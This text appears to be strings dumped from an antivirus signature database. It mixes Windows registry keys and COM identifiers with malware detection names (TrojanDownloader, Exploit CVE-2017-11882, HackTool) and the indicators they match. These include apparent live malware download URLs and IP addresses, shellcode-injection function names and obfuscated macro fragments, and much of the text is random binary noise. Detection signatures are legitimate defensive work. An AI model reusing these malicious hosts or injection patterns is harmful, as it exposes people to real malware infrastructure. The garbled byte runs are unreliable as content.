@Interface\\{00020404-0000-0000-c000-000000000046}\\proxystubclsid SOFTWARE\\Microsoft\\COM3\\Setup Progman Folder*Administrative Tools notification packages scecli (software\\clients\\mail\\microsoft outlook 2Microsoft Office Outlook )SYSTEM\\ControlSet001\\services\\Tcpip\\Enum 0.ROOT\\LEGACY_TCPIP\\0000 DigitalProductId ProductType 3SYSTEM\\CurrentControlSet\\Enum\\Root\\LEGACY_MOUNTMGR  nextinstance 4system\\currentcontrolset\\services\\mouhid\\parameters useonlymice :SOFTWARE\\Microsoft\\DirectDraw\\Compatibility\\SilentThunder =SOFTWARE\\Microsoft\\DirectDraw\\Compatibility\\DemolitionDerby2 @SYSTEM\\CurrentControlSet\\Control\\BackupRestore\\FilesNotToBackup @software\\Microsoft\\internet explorer\\advancedoptions\\http\\proxy @software\\classes\\typelib\\{3050f4e0-98b5-11cf-bb82-00aa00bdce0b} @software\\classes\\typelib\\{372fce32-4324-11d0-8810-00a0c903b83c} @software\\classes\\typelib\\{3d5905e0-523c-11d1-9fea-00600832db4a} @software\\classes\\typelib\\{5e77eb03-937c-11d1-b047-00aa003b6061} @software\\classes\\typelib\\{7988b57c-ec89-11cf-9c00-00aa00a14f56} @software\\classes\\typelib\\{92ad68aa-17e0-11d1-b230-00c04fb9473f} @software\\classes\\typelib\\{ac3b8b4c-b6ca-11d1-9f31-00c04fc29d52} @software\\classes\\typelib\\{bacedf3e-74ab-11d0-b162-00aa00ba3258} @software\\classes\\typelib\\{cd000000-8b95-11d1-82db-00c04fb1625d} @software\\classes\\typelib\\{d597deed-5b9f-11d1-8dd2-00aa004abd5e} @software\\classes\\typelib\\{eab22ac0-30c1-11cf-a7eb-0000c05bae0b} FriendlyTypeNameT@%SystemRoot%\\System32\\cryptext.dll,-6145 protocols\\handler\\res clsidN{3050F3BC-98B5-11CF-BB82-00AA00BDCE0B} protocols\\handler\\ms-its Rms-its: Asychronous Pluggable Protocol H batfile\\shell\\edit\\command N\"%SystemRoot%\\System32\\NOTEPAD.EXE\" %1 htafile\\shell\\open\\command N C:\\Windows\\System32\\mshta.exe \"%1\" %* ias.radiusprotocol.1\\clsid N{6BC09894-0CE6-11D1-BAAE-00C04FC2E20D} imgutil.comapmimetoclsid.1 N{30C3B080-30FB-11d0-B724-00AA006C1A01} microsoft.xmldom.1.0\\clsid \"mime\\database\\charset\\csiso2022jp aliasforcharset\"_iso-2022-jp$ESC -clsid\\{09474572-b2fb-11d1-a1a1-0000f875b132} *MMCListPadInfo class -clsid\\{2206cdb0-19c1-11d1-89e0-00c04fd7a829} *MSDAINITIALIZE Class -clsid\\{2f94d7b0-bf63-11d1-a6a2-00c04fb9988e} *EndpointsTable Class -clsid\\{63da6ec0-2e98-11cf-8d82-444553540000} *Microsoft FTP Folder -clsid\\{7f1899da-62a6-11d0-a2c6-00c04fd909dd} *ScopeTree 1.0 Object -clsid\\{88c6c381-2e85-11d0-94de-444553540000} *ActiveX Cache Folder -clsid\\{ee09b103-97e0-11cf-978f-00a02463e06f} *Scripting.Dictionary 1Interface\\{755f9da6-7508-11d1-ad94-00c04fd8fdff} \"IWbemMultiTarget 1Interface\\{b196b287-bab4-101a-b69c-00aa00341d07} \"IEnumConnections 1interface\\{00000400-0000-0010-8000-00aa006d2ea4} \"ConnectionEvents 1interface\\{3050f55f-98b5-11cf-bb82-00aa00bdce0b} \"DispHTMLDocument 1interface\\{742b0e01-14e6-101b-914e-00aa00300cab} \"ISimpleFrameSite 1interface\\{e74a7215-014d-11d1-a63c-00a0c911b4e0} \"SecurityProperty 1interface\\{f3470f24-15fd-11d2-bb2e-00805ff7efca} \"IScriptErrorList 4clsid\\{228d9a82-c302-11cf-9aa4-00aa004a5691}\\progid 4clsid\\{274fae1f-3626-11d1-a3a4-00c04fb950dc}\\progid 4clsid\\{6bc096b1-0ce6-11d1-baae-00c04fc2e20d}\\progid IAS.Request.1 4clsid\\{6bc096da-0ce6-11d1-baae-00c04fc2e20d}\\progid 4clsid\\{72d3edc2-a4c4-11d0-8533-00c04fd8d503}\\progid PropertyEntry 4clsid\\{ccb4ec60-b9dc-11d1-ac80-00a0c9034873}\\progid MSDASC.PDPO.1 4clsid\\{d3e34b21-9d75-101a-8c3d-00aa001a1652}\\progid SOFTWARE\\Classes\\ADs\\CLSID N{4753da60-5b71-11cf-b035-00aa006e0975} $software\\classes\\telnet\\defaulticon <c:\\windows\\system32\\url.dll,0 $software\\classes\\tn3270\\defaulticon <C:\\Windows\\System32\\url.dll,0 SystemRoot C:\\Windows .system\\currentcontrolset\\control\\nls\\language installlanguage 0409 StiSvc 5SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows  5software\\microsoft\\directdraw\\compatibility\\MsGolf98 game.EXE 6SOFTWARE\\Microsoft\\Internet Explorer\\MAIN\\UrlTemplate www.%s.com www.%s.net www.%s.edu 6software\\microsoft\\internet explorer\\main\\urltemplate www.%s.org 7software\\microsoft\\internet connection wizard\\icwrmind entry_name :SYSTEM\\CurrentControlSet\\control\\safeboot\\minimal\\appmgmt :system\\currentcontrolset\\control\\safeboot\\minimal\\winmgmt :system\\currentcontrolset\\control\\safeboot\\network\\browser :system\\currentcontrolset\\control\\safeboot\\network\\netbios ;software\\microsoft\\directdraw\\compatibility\\rogue squadron ;software\\microsoft\\directdraw\\compatibility\\scorchedplanet p7rfile\\shell\\add\\command Rrundll32.exe cryptext.dll,CryptExtAddP7R PMicrosoft WinHTTP Services, version 5.1 batfile\\shellex\\drophandler N{86C86720-42A0-1069-A2E8-08002B30309D} hhctrl.systemsort.666\\clsid N{4662DAB0-D393-11D0-9A56-00C04FB68B66} )mime\\database\\charset\\csisolatincyrillic -CLSID\\{8856F961-340A-11D0-A96B-00C04FD705A2} ,Microsoft Web Browser -clsid\\{39981129-c287-11d0-8d8c-00c04fd6202b} ,CLSID_CMAPIAcctImport -clsid\\{50b6327f-afd1-11d2-9cb9-0000f87a369e} ,AD System Info Object -clsid\\{79eac9d1-baf9-11ce-8c82-00aa004ba90b} ,StdHlinkBrowseContext -clsid\\{99847C33-B1B4-11D1-8F10-00C04FC2C17B} ,CCOMNSScopeImpl Class 1Interface\\{AA000922-FFBE-11CF-8800-00A0C903B83C} $ICertServerPolicy 1interface\\{00000151-0000-0000-c000-000000000046} $AsyncIAdviseSink2 1interface\\{3050f1dd-98b5-11cf-bb82-00aa00bdce0b} $IHTMLUListElement 1interface\\{3050f55c-98b5-11cf-bb82-00aa00bdce0b} $DispHTMLRuleStyle 1interface\\{70c8e442-c7ed-11d1-82fb-00a0c91eede9} $ICrmMonitorClerks 1interface\\{b1efc385-9355-11d0-835c-00aa003ccabd} $ITTerminalSupport 1interface\\{d432e5f4-53d8-11d2-9a3a-00c04fb998ac} $ISdoDictionaryOld 1interface\\{db01a1e3-a42b-11cf-8f20-00805f2cd064} $IActiveScriptSite 1interface\\{df0b3d60-548f-101b-8e65-08002b2bd119} $ISupportErrorInfo 1interface\\{eab22ac2-30c1-11cf-a7eb-0000c05bae0b} $DWebBrowserEvents 1interface\\{f4854d48-937a-11d1-bb58-00c04fb6809f} $ITTAPIObjectEvent 4CLSID\\{0000061E-0000-0010-8000-00AA006D2EA4}\\ProgID adox.index.2.8 4CLSID\\{0CF774D1-F077-11D1-B1BC-00C04F86C324}\\ProgID 4clsid\\{ecabafca-7f19-11d2-978e-0000f8757e2a}\\progid QC.DLQListener 4clsid\\{f414c261-6ac0-11cf-b6d1-00aa00bbbb58}\\progid JScript Author ;CLSID\\{00000315-0000-0000-C000-000000000046}\\AuxUserType\\2 Picture ;CLSID\\{00000316-0000-0000-C000-000000000046}\\AuxUserType\\2 ;CLSID\\{00000319-0000-0000-C000-000000000046}\\AuxUserType\\2 6system\\currentcontrolset\\control\\safeboot\\network\\tdi ;SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal\\PlugPlay ;SYSTEM\\CurrentControlSet\\control\\safeboot\\network\\dnscache ;SYSTEM\\CurrentControlSet\\control\\safeboot\\network\\plugplay ;system\\currentcontrolset\\control\\safeboot\\network\\eventlog BSOFTWARE\\Classes\\Interface\\{0000000b-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface QF'!J  8!&Xg ~wqhm dZ' q o#zuC <M0V 8HsO? KRux= %q }u  LCsug  ;boqg  ;OZwg (\\' /  ;SK?g [t BY_.a +;Mlp iI}pp  X2kTg  W8Kyg  H>XXg  DG-mg !FakeSysdef!rfn !WinShow!rfn !Istbar!rfn Qf.2( !Slenfbot!rfn !Cinmus!rfn !Hiloti!rfn !Busky!rfn !C2Lop!rfn !Daonol!rfn !Karagany!rfn $yk{] !Harnig!rfn !Koobface!rfn !Fareit.AF PUA:Win32/Creprote.A PUA:PoorCertRep:Blocked PUA:PoorCertRep:Blocked:DlOnly 'PUA:PoorCertRep:Blocked:DlOnly  Pr[L  DhvG Ptm7*  Ptm7* PuM*$  PuM*$  PyVL  Pzmk (o:\td Fkk#)a; @ n8vmx 0#2$f b@W b >8^\tF 5cEUN 'HH7k ,|!$< .h1RNr 9.87D{ mF,q\" 0XFKH ^C'E#o +_).X  )4Gz /r~?v SA]2r #YVId tFUsB Jt`N) l]GoS qeXai m@ C]` Cm>Sz UyKEC-) t8=(V 2K6xBP Ni}YR F|Z[&~ dS,yRXq e?b06 (v}aT O #XD u&4,]Q'o D`}][ js G6 lFXD\\ 4sB>hs S|5d{ P1NZQ   Ari 9}.\\)9 \t/. *0 OM(x+f Ls/f\\!, s3*p) H= (!'3 ,!s_x  Q\tqY  Q FC B W6Du `dFSk^| Q /(c  Q /(c :hE>I 5%[#P Mj*leh + & n@/dJiG Wjn-\t| LrRZ/ Z]<bn d|VyK umqi* Q\"Z<v  Q\"Z<v u.!2v ^rfHe? |*F<z\"vb rbls4 Q&(C_  Q&(C_ q#b'G 7|xmK BIlv) Q)y]n  Q)y]n f\\c7[/I  Q-\\f  Q. r \tF]%PW e]arfz- \tZ'eX29 vp'X0 9~XU, Vqz-g aJ/L({ ^Byh{ .m gC !EP1VO`Se jFMbR 5K|CQ so3# $:I2` O*Gu' FO$(a g!C` W $\\x-\ts ;,%TL 43, w*E VS0r! s_rC$ Uj,f[). ~RwP_ F*5B$ / r$3O4 Q f}x  yX?T D-Qm0J? siJ 9 C$>7- 2x#| W Bt3 <Y [_8h] >brq\tg -jZ>LT Gg.,D ~Ezw[ #gofE ;<L6\ta{a\"k {MpU) yD*&\\ ,!:iv '6~wSU +hh!jg C|~9T 5^Z8_@ JX#I& StK>n 1?$Q& k3r`h >0?!H n#,\\6 Binterface\\{00020403-0000-0000-c000-000000000046}\\proxystubclsid32 N{00020425-0000-0000-C000-000000000046} Binterface\\{0002df05-0000-0000-c000-000000000046}\\proxystubclsid32 N{0002df05-0000-0000-c000-000000000046} Binterface\\{0002e000-0000-0000-c000-000000000046}\\proxystubclsid32 N{B8DA6310-E19B-11D0-933C-00A0C90DCAA9} Binterface\\{000C1090-0000-0000-C000-000000000046}\\proxystubclsid32 Binterface\\{b1efc382-9355-11d0-835c-00aa003ccabd}\\proxystubclsid32 BSOFTWARE\\Classes\\Interface\\{00000030-0000-0000-c000-000000000046} MSoftware\\classes\\clsid\\{000c103e-0000-0000-c000-000000000046}\\inprocserver32 Msoftware\\classes\\clsid\\{101193c0-0bfe-11d0-af91-00aa00b67a42}\\inprocserver32 Msoftware\\classes\\clsid\\{129d7e40-c10d-11d0-afb9-00aa00b67a42}\\inprocserver32 SSYSTEM\\CurrentControlSet\\Control\\Class\\{4d36e967-e325-11ce-bfc1-08002be10318}\\0001  ProviderName SSYSTEM\\CurrentControlSet\\Control\\Class\\{4d36e96a-e325-11ce-bfc1-08002be10318}\\0001  Ssystem\\currentcontrolset\\control\\class\\{4d36e967-e325-11ce-bfc1-08002be10318}\\0000  providername WSOFTWARE\\Classes\\CLSID\\{ef636391-f343-11d0-9477-00c04fd36226}\\VersionIndependentProgId $DBRSTPRX.AsServer Wsoftware\\classes\\clsid\\{13709620-c279-11ce-a49e-444553540000}\\versionindependentprogid $Shell.Application Ysystem\\currentcontrolset\\control\\safeboot\\minimal\\{4d36e977-e325-11ce-bfc1-08002be10318}  PCMCIA Adapters Ysystem\\currentcontrolset\\control\\safeboot\\network\\{4d36e977-e325-11ce-bfc1-08002be10318} Ysystem\\currentcontrolset\\services\\sharedaccess\\parameters\\firewallpolicy\\standardprofile enablefirewall FCLSID\\{00C429C0-0BA9-11d2-A484-00C04F8EFB69}\\VersionIndependentProgID HDXImageTransform.Microsoft.CrBlinds Gclsid\\{623e2882-fc0e-11d1-9a77-0000f8756a10}\\\\VersionIndependentProgID FDXImageTranform.Microsoft.Gradient DesktopItemNavigationFailure>res://ieframe.dll/navcancl.htm  localserviceRAlerterWebClientLmHostsRemoteRegistryupn >SOFTWARE\\Classes\\clsid\\{d54eee56-aaab-11d0-9e1d-00a0c922e6ec} XMicrosoft InfoTech IStorage for Win32 Files Dsoftware\\classes\\typelib\\{333c7bc1-460f-11d0-bc04-0080c7055a83}\\1.1 LTabular Data Control 1.1 Type Library Hsoftware\\microsoft\\mmc\\nodetypes\\{0442836e-c770-11d1-87f4-00c04fc2c17b} DComponent Services Component Node MSOFTWARE\\Classes\\CLSID\\{9d148290-b9c8-11d0-a4cc-0000f80149f6}\\InprocServer32 :C:\\Windows\\system32\\itss.dll MSOFTWARE\\Classes\\CLSID\\{9d148291-b9c8-11d0-a4cc-0000f80149f6}\\InprocServer32 5system\\currentcontrolset\\control\\network\\connections classmanagersR{B4C8DF59-D16F-4042-80B7-3557A254B7C5}{B Bsoftware\\microsoft\\windows\\currentversion\\app paths\\wireshark.exe RC:\\Program Files\\Wireshark\\wireshark.exe FSOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\867f415d DllName<C:\\Windows\\System32\\MyDll.Dll Lsoftware\\classes\\typelib\\{cd000000-8b95-11d1-82db-00c04fb1625d}\\1.0\\0\\win32 >C:\\WINDOWS\\system32\\cdosys.dll MSOFTWARE\\Classes\\clsid\\{09474572-b2fb-11d1-a1a1-0000f875b132}\\inprocserver32 <%SystemRoot%\\system32\\cic.dll Ysystem\\currentcontrolset\\control\\safeboot\\minimal\\{4d36e980-e325-11ce-bfc1-08002be10318} $Floppy disk drive Ysystem\\currentcontrolset\\control\\safeboot\\network\\{4d36e980-e325-11ce-bfc1-08002be10318} jsoftware\\classes\\media type\\{e436eb83-524f-11ce-9f53-0020af0ba770}\\{33facfe0-a9be-11d0-a520-00a0d10129c0} jsoftware\\classes\\media type\\{e436eb83-524f-11ce-9f53-0020af0ba770}\\{6b6d0801-9ada-11d0-a520-00a0d10129c0} kCLSID\\{06290BD8-48AA-11D2-8432-006008C3FBFC}\\Implemented Categories\\{7DD95801-9882-11CF-9FA9-00AA006C42C4} kCLSID\\{0E59F1D5-1FBE-11D0-8FF2-00A0D10038BC}\\Implemented Categories\\{0DE86A52-2BAA-11CF-A229-00AA003D7352} kCLSID\\{16B280C8-EE70-11D1-9066-00C04FD9189D}\\Implemented Categories\\{ACAC94FC-E5CF-11D1-9066-00C04FD9189D} kCLSID\\{16B280C8-EE70-11D1-9066-00C04FD9189D}\\Implemented Categories\\{C501EDBE-9E70-11D1-9053-00C04FD9189D} kCLSID\\{1C82EAD9-508E-11D1-8DCF-00C04FB951F9}\\Implemented Categories\\{40FC6ED4-2438-11CF-A3DB-080036F12502} kCLSID\\{1C82EAD9-508E-11D1-8DCF-00C04FB951F9}\\Implemented Categories\\{7DD95802-9882-11CF-9FA9-00AA006C42C4} kCLSID\\{333c7bc4-460f-11d0-bc04-0080c7055a83}\\Implemented Categories\\{0de86a57-2baa-11cf-a229-00aa003d7352} kclsid\\{00c429c0-0ba9-11d2-a484-00c04f8efb69}\\implemented categories\\{c501edbe-9e70-11d1-9053-00c04fd9189d} kclsid\\{06290bdb-48aa-11d2-8432-006008c3fbfc}\\implemented categories\\{7dd95801-9882-11cf-9fa9-00aa006c42c4} kclsid\\{0c7ff16c-38e3-11d0-97ab-00c04fc2ad98}\\implemented categories\\{d267e19a-0b97-11d2-bb1c-00c04fc9b532} kclsid\\{10072cec-8cc1-11d1-986e-00a0c955b42e}\\implemented categories\\{7dd95801-9882-11cf-9fa9-00aa006c42c4} kclsid\\{2bc0ef29-e6ba-11d1-81dd-0000f87557db}\\implemented categories\\{c501edbe-9e70-11d1-9053-00c04fd9189d} kclsid\\{30d02401-6a81-11d0-8274-00c04fd5ae38}\\implemented categories\\{00021493-0000-0000-c000-000000000046} kclsid\\{333c7bc4-460f-11d0-bc04-0080c7055a83}\\implemented categories\\{40fc6ed4-2438-11cf-a3db-080036f12502} kclsid\\{333c7bc4-460f-11d0-bc04-0080c7055a83}\\implemented categories\\{7dd95801-9882-11cf-9fa9-00aa006c42c4} kclsid\\{421516c1-3cf8-11d2-952a-00c04fa34f05}\\implemented categories\\{c501edbe-9e70-11d1-9053-00c04fd9189d} kclsid\\{f515306e-0156-11d2-81ea-0000f87557db}\\implemented categories\\{c501edbe-9e70-11d1-9053-00c04fd9189d} Dsoftware\\classes\\typelib\\{28dcd85b-aca4-11d0-a028-00aa00b605a4}\\1.0 PTAPI3 Terminal Manager 1.0 Type Library Dsoftware\\classes\\typelib\\{50a7e9b0-70ef-11d1-b75a-00a0c90564fe}\\1.0 PMicrosoft Shell Controls And Automation Lsoftware\\classes\\typelib\\{6bc09690-0ce6-11d1-baae-00c04fc2e20d}\\1.0\\0\\win32 @C:\\WINDOWS\\system32\\iassvcs.dll Lsoftware\\classes\\typelib\\{bacedf3e-74ab-11d0-b162-00aa00ba3258}\\1.0\\0\\win32 Msoftware\\classes\\clsid\\{06290bd0-48aa-11d2-8432-006008c3fbfc}\\inprocserver32 Msoftware\\classes\\clsid\\{1643e180-90f5-11ce-97d5-00aa0055595a}\\inprocserver32 Msoftware\\classes\\clsid\\{6bc096da-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 >C:\\WINDOWS\\system32\\iasrad.dll Msoftware\\classes\\clsid\\{6bc098a4-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 Msoftware\\classes\\clsid\\{6e449686-c509-11cf-aafa-00aa00b6015c}\\inprocserver32 >C:\\Windows\\System32\\inseng.dll 9CLSID\\{3050F3D9-98B5-11CF-BB82-00AA00BDCE0B}\\DefaultIcon hC:\\Program Files\\Internet Explorer\\iexplore.exe,-19 3system\\currentcontrolset\\control\\securityproviders securityprovidersRmsapsspc.dll, schannel.dll, digest.dll,  Dsoftware\\classes\\typelib\\{2206ceb0-19c1-11d1-89e0-00c04fd7a829}\\1.0 RMicrosoft OLE DB Service Component 1.0 T Dsoftware\\classes\\typelib\\{bd96c556-65a3-11d0-983a-00c04fc29e30}\\1.5 RMicrosoft Remote Data Services 2.7 Libra FSOFTWARE\\Classes\\CLSID\\{039EA4C0-E696-11d0-878A-00A0C91EC756}\\TypeLib N{2358C810-62BA-11d1-B3DB-00600832C573} Lsoftware\\classes\\typelib\\{cfadac75-e12c-11d1-b34c-00c04f990d54}\\1.0\\0\\win32 BC:\\WINDOWS\\system32\\catsrvut.dll MSOFTWARE\\Classes\\CLSID\\{00021401-0000-0000-C000-000000000046}\\InProcServer32 @C:\\Windows\\system32\\shell32.dll MSOFTWARE\\Classes\\CLSID\\{063B79F5-7539-11D2-9773-00A0C9B4D50C}\\InprocServer32 @c:\\WINDOWS\\system32\\CLBCatQ.dll Msoftware\\classes\\clsid\\{12518493-00b2-11d2-9fa5-9e3420524153}\\inprocserver32 Msoftware\\classes\\clsid\\{163fdc20-2abc-11d0-88f0-00a024ab2dbb}\\inprocserver32 @c:\\windows  /_./ Ub5U[K@ *r(@ww  /cQr /d/2W  /d/2W l?L34 /hE J+>h  /hE J+>h  /i!| @0p>z  /jb@ EE#2:  /lS7 =6HQ5/  /q%x  /s/G X)}YP /vV$|  /vV$| :( |d/i^  a  /x N  /zBC K!VCc 1)x+w  ` PK #8hj) ?Pb\tH s _qI \tF,<~f ;(r9i w+ly}hl  mfK( 2RQ)D %z0sQ f}e>b '/&), (71KU Hw5[Cfg VoB  !| J2HpQq vH\\P\\{C8 \"c_xV8 dA\\?U Fsw6i WE\tZ7 )^,N^ $(&k1^  tEP^ kQjx-K'G qw?yF-e $jmiW @5DB&S er,\"[ r2WUYy J:F5U^L ,[C[w fU\"b' (]NR: h(]NR: @G#k1 cISyk T ~T; wSB_3 ht&[w uj7zy 0\\uCU mI IZ kw?yH 4]MRR \"P8\tv &LOIy`y a\tjlS/ j5rf- '6(;= ,84Ih Dd>Zxz$T; JW=,\" mXBUDH Z?xyA CvXk8 CvXk8b KFN}4 1upuR+S ifdQBh G5;8K OoNj_ Oo+-, L\"hS<  M/05 L\"h,>V #|;='8c\\ #|;='8 e-Ntc\\ L\"hc\\ Oo;='8c\\ ;='8e-Nte-Nt N{;='8 ;='82 r;='8 ^;='8 );='8 Y;='82 ua4?! ?]wO= Oog2m 4yDc\\ ;='8K e-Nte-Nt V<J?O  Qf,; R%VMAa ;='8% H;='8 oi;='8 TRW;='8 ;='8B ;='8VMAa PR9VMAa M;='8 ;='8H ;='8;='8 ;='8  aXVMAa ;='8? ;='8L 7UsQ] ;='8Q] ;='8;='8;='8 Q5;='8 ;='8t ;='8;='8Q] VMAa;='8 ;='8< oit:O97M/CVE-2017-11882.APV2!MTB \"\\objw +!#SCPT:Exploit:O97M/CVE-2017-11882.GGK2!MTB )X+!#SCPT:Exploit:O97M/CVE-2017-11882.GGK2!MTB jjjkkjjmmmmmmmmmmmmmmmmmmmmmmmmm \"jjjkkjjmmmmmmmmmmmmmmmmmmmmmmmmm +!#SCPT:HackTool:PowerShell/InvokeShellcode1 )X+!#SCPT:HackTool:PowerShell/InvokeShellcode1 inject-remoteshellcode$processid \"inject-remoteshellcode$processid +!#SCPT:TrojanDownloader:O97M/EncDoc.SMA!MTB )X+!#SCPT:TrojanDownloader:O97M/EncDoc.SMA!MTB htp:/windomas.cyuelc\\idfqteoymqw \"htp:/windomas.cyuelc\\idfqteoymqw +!#SCPT:TrojanDownloader:O97M/Qakbot.PC5!MTB )X+!#SCPT:TrojanDownloader:O97M/Qakbot.PC5!MTB \\appdata\\roaming\\gertik.jjssddff \"\\appdata\\roaming\\gertik.jjssddff +!#SCPT:TrojanDownloader:VBS/Obfuse.ZW10!MTB )X+!#SCPT:TrojanDownloader:VBS/Obfuse.ZW10!MTB =1'dountil \"=1'dountil +1'loop +!#SCPT:TrojanDropper:JS/Zlader.G!FuncScript )X+!#SCPT:TrojanDropper:JS/Zlader.G!FuncScript {return \"{return }wscript[b[ +!#SCRIPT:BrowserModifier:Win32/Neobar.A!url )X+!#SCRIPT:BrowserModifier:Win32/Neobar.A!url http://altavista.com/favicon.ico \"http://altavista.com/favicon.ico +!#SCRIPT:PowerShell/Get-NetDomainController )X+!#SCRIPT:PowerShell/Get-NetDomainController functionget-netdomaincontroller{ \"functionget-netdomaincontroller{ +!#SCRIPT:PowerShell/Invoke-ThreadedFunction )X+!#SCRIPT:PowerShell/Invoke-ThreadedFunction functioninvoke-threadedfunction{ \"functioninvoke-threadedfunction{ ,!#SCPT:Exploit:O97M/CVE-2017-11882.AZKR3!MTB )X,!#SCPT:Exploit:O97M/CVE-2017-11882.AZKR3!MTB {\\mborderboxpr !{\\mborderboxpr  \\bin00000\\ ,!#SCPT:TrojanDownloader:JS/TrickBot.A1!jamsi )X,!#SCPT:TrojanDownloader:JS/TrickBot.A1!jamsi https://185.180.199.102/ !https://185.180.199.102/ ,!#SCPT:TrojanDownloader:O97M/Donoff.MOR3!MTB )X,!#SCPT:TrojanDownloader:O97M/Donoff.MOR3!MTB iepfusn.dll) !iepfusn.dll) .com/getfile.php ,!#SCPT:TrojanDownloader:O97M/Obfuse.WAA8!MTB )X,!#SCPT:TrojanDownloader:O97M/Obfuse.WAA8!MTB =\"str\"><f>\"bb\"</f><v>bb</v></c> !=\"str\"><f>\"bb\"</f><v>bb</v></c> ,!#SCRIPT:SoftwareBundler:Win32/Fourthrem.A-2 )X,!#SCRIPT:SoftwareBundler:Win32/Fourthrem.A-2 firstreq.me/ !firstreq.me/ -!#SCPT:PowerShell/ExecutionPolicyUnrestricted )X-!#SCPT:PowerShell/ExecutionPolicyUnrestricted  powershell  unrestricted -!#SCPT:TrojanDownloader:HTML/DocDownldr.A!sl6 )X-!#SCPT:TrojanDownloader:HTML/DocDownldr.A!sl6 settimeout(\"location=\"https://  settimeout(\"location=\"https:// -!#SCPT:TrojanDownloader:O97M/EncDoc.ZE!MTB!E5 )X-!#SCPT:TrojanDownloader:O97M/EncDoc.ZE!MTB!E5 c:\\qwsdhvr\\tclgkas\\spjcyvr.exe  c:\\qwsdhvr\\tclgkas\\spjcyvr.exe -!#SCPT:TrojanDownloader:O97M/Encdoc.VICY4!MTB )X-!#SCPT:TrojanDownloader:O97M/Encdoc.VICY4!MTB <t>nload</t></si><si><t>to</t>  <t>nload</t></si><si><t>to</t> -!#SCPT:TrojanDownloader:PowerShell/Nibnwod.A3 )X-!#SCPT:TrojanDownloader:PowerShell/Nibnwod.A3 %comspec%/cstart%temp%\\  %comspec%/cstart%temp%\\ .!#SCPT:TrojanDownloader:JS/Nemucod.WeirdIfLess )X.!#SCPT:TrojanDownloader:JS/Nemucod.WeirdIfLess 0-9){function .!#SCPT:TrojanDownloader:JS/Nemucod.WeirdReturn )X.!#SCPT:TrojanDownloader:JS/Nemucod.WeirdReturn 0-9.;return /!#ALF:TrojanDownloader:Powershell/BeatNik.B!dha )X/!#ALF:TrojanDownloader:Powershell/BeatNik.B!dha updatepool.online/update.php /!#SCPT:Trojan:JS/WmiScriptingEngineParams.B!ams )X/!#SCPT:Trojan:JS/WmiScriptingEngineParams.B!ams setpropvalue.scriptfilename( /!#SCPT:TrojanDownloader:O97M/EncDoc.FOY!MTB!OY3 )X/!#SCPT:TrojanDownloader:O97M/EncDoc.FOY!MTB!OY3 <vt:lpstr>foglio3</vt:lpstr> /!#SCPT:TrojanDownloader:O97M/EncDoc.FOY!MTB!OY6 )X/!#SCPT:TrojanDownloader:O97M/EncDoc.FOY!MTB!OY6 <shareddoc>false</shareddoc> /!#SCPT:TrojanDownloader:O97M/EncDoc.FYZ!MTB!ZY6 )X/!#SCPT:TrojanDownloader:O97M/EncDoc.FYZ!MTB!ZY6 /!#SCPT:TrojanDownloader:O97M/EncDoc.TAE!MTB!TE1 )X/!#SCPT:TrojanDownloader:O97M/EncDoc.TAE!MTB!TE1 http://rocesi.com/mncejd.exe /!#SCPT:TrojanDownloader:O97M/EncDoc.TIT!MTB!TJ3 )X/!#SCPT:TrojanDownloader:O97M/EncDoc.TIT!MTB!TJ3 <si><t>downloadfile</t></si> /!#SCPT:TrojanDownloader:O97M/EncDoc.VHT!MTB!VT1 )X/!#SCPT:TrojanDownloader:O97M/EncDoc.VHT!MTB!VT1 http://193.38.55.92/gfmppbpq /!#SCPT:TrojanDownloader:O97M/EncDoc.VHW!MTB!VW1 )X/!#SCPT:TrojanDownloader:O97M/EncDoc.VHW!MTB!VW1 http://194.5.249.101/api.php /!#SCPT:TrojanDownloader:O97M/EncDoc.VHY!MTB!VY1 )X/!#SCPT:TrojanDownloader:O97M/EncDoc.VHY!MTB!VY1 http://185.14.30.131/api.php /!#SCPT:TrojanDownloader:O97M/EncDoc.XCH!MTB!CH1 )X/!#SCPT:TrojanDownloader:O97M/EncDoc.XCH!MTB!CH1 https://chpingnow.xyz/21.psd /!#SCPT:TrojanDownloader:O97M/Zloader.CL!MTB!CL4 )X/!#SCPT:TrojanDownloader:O97M/Zloader.CL!MTB!CL4 0!#SCPT:PowerShell.InvokeObfuscation.CreateThread )X0!#SCPT:PowerShell.InvokeObfuscation.CreateThread kernel32.dllcreatethread),( 0!#SCPT:PowerShell.InvokeObfuscation.VirtualAlloc )X0!#SCPT:PowerShell.InvokeObfuscation.VirtualAlloc kernel32.dllvirtualalloc),( 0!#SCPT:Trojan:PowerShell/ReflectivePEInjection.A )X0!#SCPT:Trojan:PowerShell/ReflectivePEInjection.A 0!#SCPT:TrojanDownloader:O97M/EncDoc.IDOI!MTB!OI1 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IDOI!MTB!OI1 <v>44329,6550195602.dat</v> 0!#SCPT:TrojanDownloader:O97M/EncDoc.IDTC!MTB!TC1 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IDTC!MTB!TC1 <v>44340,6449053241.dat</v> 0!#SCPT:TrojanDownloader:O97M/EncDoc.IDTY!MTB!TY4 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IDTY!MTB!TY4 <f>run(sobr!h4)</f><v>0</v> 0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAG!MTB!AG3 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAG!MTB!AG3 <f>goto('3fescvaer'!h4)</f> 0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAJ!MTB!TJ3 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAJ!MTB!TJ3 <f>goto('4scdac'!g3)</f><v> 0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAJ!MTB!TJ4 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAJ!MTB!TJ4 <f>d9&amp;d10</f><v>exe</v> 0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAM!MTB!TM4 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAM!MTB!TM4 <si><t>32-s\"&amp;\".\"&amp;\". 0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAO!MTB!AO3 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAO!MTB!AO3 0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAU!MTB!AU3 